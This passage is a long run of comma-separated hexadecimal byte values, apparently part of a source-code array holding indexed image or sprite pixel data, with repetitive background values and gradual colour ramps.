0x56, 0x57, 0x67, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0x67, 0x4C, - 0x4A, 0x49, 0x4A, 0x49, 0x4A, 0x49, 0x49, 0x4A, - 0x4A, 0x4B, 0x4B, 0x4B, 0x4C, 0x50, 0x51, 0x52, - 0x54, 0x54, 0x56, 0x57, 0x57, 0x57, 0x57, 0x58, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x58, 0x56, 0x56, 0x53, - 0x52, 0x53, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFB, 0xFB, 0xFB, - 0x4B, 0x4B, 0x4B, 0x4A, 0x49, 0x4A, 0x4A, 0x49, - 0x49, 0x49, 0x48, 0x49, 0x49, 0x4A, 0x4A, 0x4B, - 0x4C, 0x4D, 0x52, 0x54, 0x56, 0x55, 0x57, 0x58, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, - 0x50, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xF8, 0xF0, 0xF4, 0xFB, - 0xFC, 0x67, 0x53, 0x50, 0x4D, 0x4C, 0x4C, 0x4C, - 0x4B, 0x4A, 0x4A, 0x48, 0x49, 0x48, 0x48, 0x49, - 0x49, 0x49, 0x4B, 0x4C, 0x50, 0x52, 0x53, 0x56, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x55, 0x54, 0x53, 0x51, 0x51, 0x50, 0x4C, 0x4D, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xF4, 0xD2, 0xD7, 0xF5, - 0xFC, 0xFC, 0x5D, 0x5D, 0x5C, 0x5C, 0x59, 0x58, - 0x58, 0x56, 0x52, 0x4C, 0x4B, 0x4A, 0x4A, 0x48, - 0x48, 0x48, 0x48, 0x48, 0x49, 0x4B, 0x4D, 0x51, - 0x54, 0x56, 0x58, 0x57, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x55, 0x54, - 0x53, 0x52, 0x51, 0x4D, 0x4D, 0x4D, 0x50, 0x50, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xF4, 0x64, 0xD9, 0xF5, - 0xF9, 0xFC, 0xFC, 0x64, 0x63, 0x62, 0x61, 0x61, - 0x61, 0x60, 0x5E, 0x5B, 0x5A, 0x54, 0x52, 0x4C, - 0x4B, 0x49, 0x49, 0x47, 0x47, 0x48, 0x49, 0x4B, - 0x4C, 0x51, 0x53, 0x56, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x55, 0x53, 0x53, - 0x51, 0x50, 0x50, 0x50, 0x50, 0x50, 0x53, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xF4, 0xF5, 0xF9, 0xFC, - 0xFC, 0xFC, 0xFC, 0x64, 0x64, 0x64, 0x64, 0x64, - 0x64, 0x64, 0x64, 0x63, 0x61, 0x61, 0x5E, 0x59, - 0x55, 0x52, 0x4C, 0x4A, 0x49, 0x47, 0x48, 0x48, - 0x49, 0x4B, 0x4D, 0x51, 0x54, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x55, 0x54, 0x54, 0x52, 0x51, - 0x51, 0x51, 0x51, 0x51, 0x53, 0x54, 0x59, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xF7, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0x60, 0x60, 0x60, 0x61, - 0x62, 0x63, 0x64, 0x64, 0x65, 0x65, 0x64, 0x63, - 0x61, 0x5E, 0x59, 0x56, 0x4D, 0x4B, 0x48, 0x48, - 0x48, 0x48, 0x49, 0x4B, 0x50, 0x53, 0x56, 0x56, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x56, 0x54, 0x53, 0x52, 0x51, 0x51, - 0x51, 0x52, 0x53, 0x55, 0x59, 0x5D, 0x5E, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFB, 0xFB, 0xFB, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0x4C, 0x4E, 0x51, 0x52, - 0x57, 0x5A, 0x5E, 0x60, 0x61, 0x63, 0x65, 0xCB, - 0x64, 0x64, 0x63, 0x60, 0x5C, 0x57, 0x50, 0x4B, - 0x48, 0x47, 0x47, 0x47, 0x4A, 0x4C, 0x52, 0x53, - 0x54, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x55, 0x54, 0x53, 0x53, 0x51, 0x52, 0x52, 0x53, - 0x53, 0x57, 0x5A, 0x5D, 0x5E, 0x5E, 0x60, 0xFC, - 0xFC, 0xFC, 0xFB, 0xF9, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFA, 0xF9, 0xF5, 0xFB, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFB, 0x45, 0x3F, 0x3F, - 0x45, 0x48, 0x4B, 0x4D, 0x54, 0x5A, 0x5E, 0x61, - 0x63, 0xCB, 0xCB, 0x65, 0x64, 0x62, 0x5E, 0x57, - 0x50, 0x4B, 0x48, 0x47, 0x47, 0x48, 0x4B, 0x4D, - 0x51, 0x56, 0x56, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, - 0x54, 0x54, 0x53, 0x53, 0x52, 0x53, 0x54, 0x57, - 0x59, 0x5C, 0x5E, 0x5E, 0x5E, 0x5E, 0x5E, 0xFC, - 0xFC, 0xFA, 0xFC, 0xFA, 0xE0, 0xFC, 0xFC, 0xFC, - 0xFB, 0xFB, 0xFB, 0xDF, 0xD8, 0xF9, 0xE0, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFB, 0x4C, 0x4A, 0x48, - 0x48, 0x3E, 0x44, 0x43, 0x3F, 0x47, 0x4B, 0x52, - 0x5A, 0x5E, 0x62, 0x64, 0xCB, 0xCB, 0x64, 0x61, - 0x5E, 0x57, 0x4D, 0x49, 0x47, 0x47, 0x48, 0x4A, - 0x4C, 0x52, 0x54, 0x56, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, - 0x54, 0x53, 0x53, 0x54, 0x54, 0x55, 0x58, 0x5B, - 0x5C, 0x5D, 0x5E, 0x5D, 0x5D, 0x5B, 0x58, 0xFC, - 0xFC, 0xD8, 0x4C, 0x60, 0xFC, 0xF5, 0xFC, 0xFC, - 0xFC, 0xF7, 0x5F, 0x48, 0x48, 0x2C, 0xF8, 0xF9, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0x4B, 0x4A, 0x49, - 0x49, 0x49, 0x49, 0x47, 0x3E, 0x44, 0x42, 0x3F, - 0x3E, 0x4B, 0x54, 0x5C, 0x61, 0x64, 0xCB, 0xCB, - 0x64, 0x61, 0x5D, 0x53, 0x4B, 0x49, 0x47, 0x47, - 0x49, 0x4B, 0x50, 0x53, 0x56, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x54, - 0x53, 0x53, 0x54, 0x56, 0x58, 0x5A, 0x5B, 0x5D, - 0x5D, 0x5D, 0x5C, 0x5A, 0x54, 0x52, 0x4C, 0xFC, - 0xF7, 0x4E, 0x2D, 0x29, 0x4E, 0xFC, 0xFC, 0xFC, - 0xFB, 0x5F, 0x26, 0x24, 0x20, 0x2E, 0x65, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0x45, 0x3F, 0x45, - 0x3E, 0x47, 0x47, 0x47, 0x47, 0x47, 0x3E, 0x44, - 0x43, 0x40, 0x44, 0x49, 0x51, 0x5C, 0x62, 0x64, - 0xCB, 0xCB, 0x63, 0x60, 0x58, 0x50, 0x49, 0x48, - 0x48, 0x48, 0x4A, 0x4D, 0x53, 0x54, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x55, 0x54, 0x54, 0x54, - 0x54, 0x54, 0x55, 0x57, 0x59, 0x5B, 0x5C, 0x5D, - 0x5C, 0x5A, 0x54, 0x51, 0x4C, 0x4C, 0x54, 0xFC, - 0xF9, 0x23, 0xDB, 0x2D, 0x23, 0xFA, 0xFB, 0xFA, - 0xF5, 0x27, 0x21, 0xD9, 0xF8, 0x20, 0x21, 0xFB, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0x5D, 0x58, 0x55, - 0x50, 0x48, 0x45, 0x43, 0x44, 0x44, 0x45, 0x45, - 0x3E, 0x3F, 0x43, 0x41, 0x3F, 0x48, 0x52, 0x5D, - 0x63, 0x65, 0xCB, 0x65, 0x61, 0x5D, 0x52, 0x4B, - 0x48, 0x47, 0x47, 0x49, 0x4C, 0x51, 0x54, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x55, 0x54, 0x54, 0x54, - 0x54, 0x58, 0x5A, 0x59, 0x5B, 0x5B, 0x5B, 0x5A, - 0x55, 0x52, 0x4D, 0x4D, 0x55, 0x5B, 0x5D, 0xFC, - 0xF1, 0xF9, 0xFC, 0xD4, 0x21, 0xCC, 0xF7, 0xF8, - 0xF2, 0x21, 0xD9, 0xFC, 0xF2, 0xFB, 0x21, 0x45, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFB, 0xD1, 0xD0, 0xCD, - 0xCC, 0x63, 0x5E, 0x58, 0x50, 0x47, 0x43, 0x3F, - 0x3F, 0x3F, 0x3F, 0x3F, 0x40, 0x41, 0x3F, 0x4A, - 0x56, 0x5E, 0x64, 0xCB, 0x65, 0x63, 0x5E, 0x56, - 0x4C, 0x48, 0x47, 0x47, 0x49, 0x4C, 0x51, 0x54, - 0x58, 0x57, 0x57, 0x57, 0x57, 0x55, 0x54, 0x54, - 0x57, 0x5A, 0x5A, 0x5C, 0x5B, 0x5A, 0x58, 0x54, - 0x51, 0x4C, 0x55, 0x5D, 0x5D, 0x5B, 0x54, 0xFC, - 0xF0, 0xF9, 0xFC, 0x65, 0x45, 0xCD, 0xFB, 0xFB, - 0xF8, 0x26, 0xFB, 0xFC, 0xFC, 0xFC, 0x21, 0x27, - 0xFB, 0xFC, 0xFC, 0xFC, 0xFB, 0xD7, 0x35, 0x34, - 0x2F, 0x35, 0x36, 0x2F, 0x2F, 0x36, 0x2F, 0x2F, - 0x36, 0x36, 0x35, 0x35, 0x43, 0x42, 0x41, 0x2E, - 0x45, 0x4C, 0x5B, 0x62, 0x65, 0xCC, 0x64, 0x60, - 0x58, 0x4D, 0x49, 0x47, 0x47, 0x49, 0x4C, 0x51, - 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, - 0x58, 0x5A, 0x5A, 0x5B, 0x5A, 0x55, 0x54, 0x51, - 0x53, 0x5C, 0x5D, 0x5D, 0x54, 0x4B, 0x4D, 0xFC, - 0xFC, 0x44, 0xFC, 0xFB, 0x7B, 0xAB, 0xA8, 0xAE, - 0xAB, 0x7F, 0xFC, 0xFC, 0xFB, 0xFB, 0x22, 0x2A, - 0xFC, 0xFC, 0xFC, 0xFC, 0x36, 0x2F, 0x30, 0x30, - 0x32, 0x30, 0x32, 0x30, 0x30, 0x30, 0x30, 0x30, - 0x30, 0x30, 0x30, 0x30, 0x2F, 0x2F, 0x40, 0x41, - 0x2E, 0x40, 0x48, 0x56, 0x5F, 0x64, 0xCC, 0x65, - 0x61, 0x59, 0x50, 0x49, 0x47, 0x47, 0x49, 0x4C, - 0x5A, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x58, - 0x5A, 0x5A, 0x5A, 0x58, 0x55, 0x52, 0x51, 0x5A, - 0x5D, 0x5D, 0x57, 0x4C, 0x51, 0x54, 0x5D, 0xFC, - 0xFC, 0x2A, 0xFC, 0xC9, 0xAA, 0x8B, 0x8A, 0x8C, - 0xAB, 0x8C, 0x8C, 0xFB, 0xFB, 0x23, 0x20, 0xF1, - 0xFC, 0xFC, 0xFC, 0x3B, 0x33, 0x33, 0x32, 0x32, - 0x31, 0x32, 0x30, 0x32, 0x32, 0x32, 0x32, 0x30, - 0x31, 0x31, 0x31, 0x32, 0x33, 0x33, 0x3C, 0x41, - 0x41, 0x2E, 0x2D, 0x45, 0x4D, 0x5D, 0x63, 0xCC, - 0x65, 0x62, 0x5D, 0x51, 0x49, 0x47, 0x47, 0x4A, - 0x59, 0x57, 0x57, 0x57, 0x57, 0x58, 0x58, 0x58, - 0x5A, 0x5A, 0x58, 0x55, 0x53, 0x53, 0x5C, 0x5E, - 0x59, 0x51, 0x4E, 0x54, 0x59, 0x5E, 0x62, 0xFC, - 0xFC, 0xDB, 0xAA, 0xA1, 0x95, 0x9C, 0x8C, 0x88, - 0x82, 0x83, 0x83, 0x8C, 0x88, 0xAE, 0xB9, 0xFB, - 0xFC, 0xFC, 0xFC, 0x3C, 0x3B, 0x72, 0x38, 0x33, - 0x33, 0x33, 0x31, 0x33, 0x31, 0x31, 0x31, 0x31, - 0x33, 0x33, 0x38, 0x33, 0x72, 0x3B, 0x44, 0x2E, - 0x41, 0x2E, 0x2E, 0x2D, 0x43, 0x4B, 0x5B, 0x63, - 0xCB, 0xCC, 0x63, 0x5D, 0x51, 0x49, 0x47, 0x49, - 0x5C, 0x58, 0x57, 0x57, 0x57, 0x57, 0x58, 0x58, - 0x58, 0x58, 0x57, 0x53, 0x58, 0x5D, 0x5E, 0x55, - 0x51, 0x53, 0x58, 0x5E, 0x60, 0x63, 0x64, 0xFC, - 0xFC, 0xC0, 0xA6, 0x9D, 0x8B, 0x9C, 0x8C, 0x8C, - 0x6E, 0x83, 0x88, 0x8C, 0x8C, 0x8C, 0x83, 0xE8, - 0xFB, 0xFC, 0xFC, 0xFC, 0x33, 0x70, 0x70, 0x6F, - 0x6F, 0x6F, 0x6F, 0x3A, 0x6F, 0x6D, 0x6F, 0x6F, - 0x70, 0x6F, 0x6F, 0x70, 0x6F, 0x32, 0x5A, 0x48, - 0x41, 0x2D, 0x2D, 0x2D, 0x2C, 0x41, 0x49, 0x5A, - 0x62, 0xCB, 0xCB, 0x63, 0x5D, 0x50, 0x49, 0x4A, - 0x5C, 0x58, 0x58, 0x57, 0x55, 0x57, 0x57, 0x57, - 0x57, 0x55, 0x56, 0x59, 0x5E, 0x5C, 0x52, 0x53, - 0x55, 0x5B, 0x5E, 0x61, 0x63, 0x64, 0x63, 0xFC, - 0xE8, 0xBF, 0xA4, 0x99, 0x9C, 0x8C, 0x88, 0x88, - 0x6E, 0x88, 0x8C, 0x8C, 0x8C, 0xC2, 0xA6, 0xC4, - 0xFC, 0xFC, 0xFC, 0xFC, 0x36, 0x3A, 0x6F, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, 0x70, - 0x70, 0x70, 0x70, 0x70, 0x37, 0x32, 0xCD, 0x5E, - 0x4C, 0x43, 0x2C, 0x2D, 0x2D, 0x2C, 0x2E, 0x47, - 0x57, 0x61, 0x65, 0xCC, 0x63, 0x5C, 0x50, 0x4D, - 0x5C, 0x5A, 0x57, 0x55, 0x55, 0x55, 0x58, 0x58, - 0x55, 0x54, 0x5B, 0x5E, 0x5D, 0x53, 0x53, 0x55, - 0x5D, 0x5E, 0x61, 0x61, 0x61, 0x61, 0x5E, 0xFC, - 0xEA, 0xBE, 0xA4, 0x9B, 0x8B, 0x85, 0x8C, 0x6E, - 0x8C, 0x8C, 0x8C, 0xA3, 0xAA, 0xA4, 0xA4, 0xE9, - 0xFB, 0xFC, 0xFC, 0xFC, 0x36, 0x6D, 0x70, 0x73, - 0x70, 0x70, 0x70, 0x73, 0x73, 0x73, 0x73, 0x70, - 0x70, 0x70, 0x73, 0x70, 0x37, 0x38, 0xD1, 0xCF, - 0x61, 0x4D, 0x44, 0x2C, 0x2D, 0x2E, 0x2C, 0x2E, - 0x3E, 0x56, 0x61, 0xCB, 0xCC, 0x62, 0x5B, 0x57, - 0x59, 0x58, 0x55, 0x54, 0x54, 0x55, 0x58, 0x58, - 0x58, 0x5B, 0x5E, 0x5B, 0x53, 0x55, 0x55, 0x5C, - 0x5E, 0x61, 0x61, 0x60, 0x5D, 0x5A, 0x4E, 0xFC, - 0xFC, 0xEA, 0xAA, 0x9C, 0x8A, 0x85, 0x82, 0x8C, - 0x8C, 0xA8, 0xEB, 0xA8, 0xA4, 0xA4, 0xAA, 0xFC, - 0xFC, 0xFC, 0x64, 0xFB, 0x39, 0x31, 0x72, 0x78, - 0x73, 0x78, 0x73, 0x74, 0x74, 0x74, 0x74, 0x73, - 0x78, 0x70, 0x73, 0x73, 0x33, 0xCC, 0xD2, 0xD1, - 0xCE, 0x62, 0x53, 0x3F, 0x2D, 0x2D, 0x41, 0x2C, - 0x2E, 0x3E, 0x56, 0x62, 0xCB, 0xCB, 0x61, 0x5D, - 0x54, 0x54, 0x54, 0x54, 0x56, 0x58, 0x58, 0x58, - 0x5C, 0x5E, 0x5A, 0x55, 0x58, 0x58, 0x5B, 0x5E, - 0x61, 0x5E, 0x5D, 0x5A, 0x52, 0x55, 0xCD, 0xFC, - 0xFC, 0x34, 0xC9, 0xE8, 0xA8, 0xAE, 0xC2, 0xE8, - 0xC3, 0xA6, 0xA7, 0xA6, 0xAA, 0x78, 0x2E, 0x42, - 0xFC, 0xFC, 0xD2, 0x64, 0xF8, 0x31, 0x72, 0x73, - 0x73, 0x73, 0x73, 0x74, 0x75, 0x75, 0x74, 0x73, - 0x73, 0x73, 0x73, 0x72, 0x33, 0x5C, 0x64, 0xD2, - 0xD1, 0xCF, 0x63, 0x54, 0x3F, 0x2C, 0x41, 0x41, - 0x2C, 0x2E, 0x47, 0x58, 0x63, 0xCB, 0xCB, 0x62, - 0x52, 0x53, 0x53, 0x56, 0x58, 0x58, 0x5A, 0x5B, - 0x5E, 0x5A, 0x57, 0x58, 0x58, 0x58, 0x60, 0x60, - 0x5D, 0x5A, 0x55, 0x4E, 0x64, 0xD2, 0xD1, 0xFC, - 0xFC, 0x41, 0x3E, 0xC1, 0xC0, 0xA3, 0xA6, 0xA7, - 0xA7, 0xA9, 0xAA, 0xB8, 0x2E, 0x3F, 0x2C, 0x41, - 0xFC, 0xFC, 0xF7, 0xCE, 0xCD, 0x36, 0x72, 0x73, - 0x74, 0x75, 0x78, 0x75, 0x75, 0x75, 0x74, 0x74, - 0x74, 0x74, 0x78, 0x72, 0x6D, 0x49, 0x59, 0xCB, - 0xD1, 0xD1, 0xD2, 0xCB, 0x56, 0x3F, 0x2C, 0x41, - 0x40, 0x2D, 0x2E, 0x49, 0x5B, 0x64, 0xCC, 0x64, - 0x51, 0x53, 0x53, 0x55, 0x58, 0x59, 0x5B, 0x5E, - 0x59, 0x58, 0x58, 0x58, 0x55, 0x60, 0x60, 0x5C, - 0x5A, 0x53, 0x5B, 0xD0, 0xD3, 0xD3, 0xD3, 0xFB, - 0xFC, 0x40, 0x41, 0x45, 0xC4, 0xC0, 0xBE, 0xBE, - 0xC1, 0xC0, 0x3C, 0x47, 0x2E, 0x21, 0x22, 0x20, - 0x65, 0xFC, 0xFC, 0xFC, 0xFC, 0x6D, 0x72, 0x75, - 0x78, 0x76, 0x75, 0x79, 0x76, 0x76, 0x76, 0x76, - 0x75, 0x75, 0x75, 0x72, 0x6D, 0x2E, 0x48, 0x5D, - 0xCE, 0xD1, 0xD4, 0xD3, 0xCB, 0x56, 0x43, 0x2C, - 0x42, 0x43, 0x2E, 0x2E, 0x4A, 0x5D, 0x64, 0x64, - 0x50, 0x52, 0x56, 0x58, 0x5C, 0x5D, 0x5E, 0x5D, - 0x5A, 0x58, 0x58, 0x55, 0x61, 0x60, 0x58, 0x58, - 0x4E, 0x61, 0xD1, 0xD4, 0xD4, 0xD1, 0xEE, 0xFC, - 0xFC, 0x2B, 0x29, 0x2E, 0x3F, 0xB0, 0xAD, 0x81, - 0x46, 0x2D, 0x46, 0x2C, 0x24, 0x22, 0x22, 0x23, - 0x25, 0xFC, 0xFC, 0xFC, 0xFC, 0x6E, 0x73, 0x76, - 0x76, 0x79, 0x79, 0x79, 0x76, 0x76, 0x79, 0x76, - 0x79, 0x79, 0x79, 0x74, 0x3F, 0x41, 0x2C, 0x48, - 0x5F, 0xCF, 0xD5, 0xD7, 0xD6, 0xCD, 0x57, 0x40, - 0x2E, 0x3F, 0x44, 0x2E, 0x41, 0x4C, 0x60, 0x61, - 0x51, 0x53, 0x58, 0x5C, 0x5D, 0x5E, 0x5D, 0x5C, - 0x58, 0x57, 0x54, 0x5F, 0x5E, 0x55, 0x55, 0x52, - 0x64, 0xD4, 0xD5, 0xD4, 0xD1, 0x5D, 0xFA, 0xFB, - 0xF4, 0x21, 0x24, 0x41, 0x40, 0x44, 0x2E, 0x2E, - 0x42, 0x41, 0x2A, 0x24, 0x22, 0x22, 0x22, 0x22, - 0x23, 0xD9, 0xFC, 0xFC, 0xFC, 0xFC, 0xE5, 0xB8, - 0x8F, 0x8F, 0x7A, 0x8F, 0x7A, 0x8F, 0x7A, 0x8F, - 0x8F, 0x8F, 0xB8, 0xE5, 0x3F, 0x3E, 0x43, 0x2C, - 0x48, 0x61, 0xD1, 0xD7, 0xD9, 0xD7, 0xD0, 0x57, - 0x41, 0x2E, 0x3E, 0x44, 0x2D, 0x40, 0x52, 0x5D, - 0x53, 0x55, 0x59, 0x5D, 0x5E, 0x5E, 0x5D, 0x5A, - 0x57, 0x53, 0x5E, 0x5E, 0x54, 0x53, 0x54, 0x65, - 0xD5, 0xD6, 0xD4, 0xCE, 0x53, 0xFB, 0xF9, 0xFC, - 0x24, 0x22, 0x23, 0x23, 0x41, 0x42, 0x2E, 0x40, - 0x2B, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, - 0x23, 0x23, 0xFC, 0xFC, 0xFC, 0xFC, 0xE7, 0xBD, - 0xB5, 0x93, 0x93, 0x93, 0x93, 0x93, 0x93, 0x93, - 0x93, 0xB5, 0xC6, 0xEB, 0x2D, 0x47, 0x4A, 0x47, - 0x2C, 0x3E, 0x61, 0xD4, 0xDC, 0xDC, 0xDA, 0xCF, - 0x54, 0x41, 0x41, 0x3E, 0x45, 0x2C, 0x3F, 0x4A, - 0x58, 0x5A, 0x5C, 0x5F, 0x60, 0x5E, 0x5D, 0x57, - 0x51, 0x5D, 0x5D, 0x51, 0x53, 0x53, 0xCB, 0xD5, - 0xD6, 0xD5, 0x63, 0x55, 0xFC, 0xFC, 0xFC, 0x2C, - 0x23, 0x22, 0x23, 0x22, 0x20, 0x2D, 0x2C, 0x26, - 0x21, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, - 0x22, 0x21, 0xF0, 0xFC, 0xFC, 0xFC, 0xE2, 0xC6, - 0xB5, 0x93, 0x93, 0x93, 0x93, 0x93, 0x93, 0x93, - 0x93, 0x93, 0xC7, 0xE3, 0x3E, 0x2E, 0x49, 0x52, - 0x4C, 0x41, 0x44, 0x62, 0xD6, 0xDE, 0xDE, 0xD9, - 0xD0, 0x51, 0x2E, 0x40, 0x47, 0x44, 0x2C, 0x42, - 0x5D, 0x5D, 0x5F, 0x60, 0x60, 0x5D, 0x57, 0x51, - 0x58, 0x5D, 0x4E, 0x52, 0x55, 0x64, 0xD5, 0xD6, - 0xD4, 0x61, 0x59, 0x6B, 0xFC, 0xFC, 0xFC, 0x21, - 0x23, 0x22, 0x23, 0x22, 0x23, 0x21, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, - 0x22, 0x21, 0x24, 0xFC, 0xFC, 0xFC, 0xE2, 0xC7, - 0xB5, 0x90, 0x93, 0x93, 0x93, 0x90, 0x93, 0x93, - 0x90, 0xB5, 0xC8, 0xE4, 0x5F, 0x45, 0x2E, 0x4D, - 0x57, 0x57, 0x44, 0x43, 0x63, 0xDA, 0xDF, 0xDF, - 0xD9, 0xCE, 0x4C, 0x2C, 0x3F, 0x3E, 0x40, 0x40, - 0x60, 0x5E, 0x61, 0x61, 0x5E, 0x5B, 0x53, 0x52, - 0x5C, 0x52, 0x52, 0x55, 0x61, 0xD4, 0xD5, 0xD1, - 0x5E, 0x5B, 0x5C, 0xFB, 0xFC, 0xFC, 0x2A, 0x21, - 0x23, 0x22, 0x23, 0x22, 0x22, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, - 0x22, 0x22, 0x22, 0xFB, 0xFC, 0xFC, 0xB3, 0xC8, - 0xB5, 0x90, 0x92, 0xB5, 0x93, 0x93, 0xB5, 0x93, - 0x92, 0xB5, 0xC8, 0xB9, 0xD0, 0x5E, 0x44, 0x40, - 0x52, 0x58, 0x57, 0x48, 0x40, 0x63, 0xD9, 0xE0, - 0xE0, 0xD9, 0xCB, 0x49, 0x2D, 0x3F, 0x45, 0x3F, - 0x63, 0x61, 0x62, 0x60, 0x5E, 0x55, 0x4D, 0x59, - 0x53, 0x4E, 0x54, 0x5D, 0xD2, 0xD4, 0xD2, 0x5E, - 0x5C, 0x5D, 0xFC, 0xFC, 0xFC, 0xF8, 0x29, 0x23, - 0x23, 0x23, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, - 0x23, 0x22, 0x22, 0x23, 0x23, 0x23, 0x22, 0x22, - 0x22, 0x22, 0x22, 0xF0, 0xFC, 0xFC, 0xB3, 0xC7, - 0xB5, 0x93, 0xB5, 0x93, 0x93, 0x91, 0x93, 0x93, - 0x91, 0xB5, 0xC7, 0xAD, 0xD6, 0xD2, 0x5E, 0x3F, - 0x3F, 0x57, 0x57, 0x58, 0x4A, 0x41, 0x64, 0xDC, - 0xF1, 0xDF, 0xDA, 0x61, 0x45, 0x2E, 0x43, 0x47, - 0xCB, 0x63, 0x62, 0x5F, 0x58, 0x51, 0x53, 0x54, - 0x4C, 0x52, 0x5C, 0xCD, 0xD3, 0xD2, 0x60, 0x5D, - 0x5D, 0xFB, 0xFC, 0xFC, 0xFC, 0xDB, 0x49, 0x24, - 0x21, 0x23, 0x23, 0x22, 0x26, 0x26, 0x2A, 0x24, - 0x22, 0x23, 0x22, 0x21, 0x24, 0x26, 0x26, 0x2A, - 0x29, 0x2B, 0x24, 0x25, 0xFC, 0xFC, 0xB3, 0xC5, - 0x91, 0x91, 0x92, 0x91, 0x92, 0x92, 0x93, 0x93, - 0x91, 0x93, 0xC6, 0xAD, 0xDC, 0xD9, 0xD4, 0x60, - 0x43, 0x45, 0x58, 0x58, 0x57, 0x4B, 0x43, 0xCC, - 0xDD, 0xF1, 0xD8, 0xD5, 0x5D, 0x43, 0x41, 0x47, - 0xCD, 0x63, 0x62, 0x5D, 0x54, 0x4C, 0x55, 0x4B, - 0x51, 0x58, 0x62, 0xD0, 0xD0, 0x62, 0x5D, 0x5D, - 0x67, 0xFC, 0xFC, 0xFC, 0xFC, 0x58, 0x4E, 0x28, - 0x2A, 0x20, 0x23, 0x22, 0x23, 0x2A, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x23, 0x25, 0x2A, 0x2E, 0x2D, - 0x2E, 0x2E, 0x2E, 0x23, 0xFA, 0xFC, 0xB2, 0xBD, - 0xB5, 0x90, 0x91, 0x93, 0x92, 0x90, 0x91, 0x93, - 0x92, 0x91, 0xBD, 0xAD, 0xDE, 0xE0, 0xD8, 0xD7, - 0x61, 0x40, 0x48, 0x58, 0x58, 0x58, 0x48, 0x44, - 0xCF, 0xDE, 0xE0, 0xDD, 0xD0, 0x52, 0x41, 0x45, - 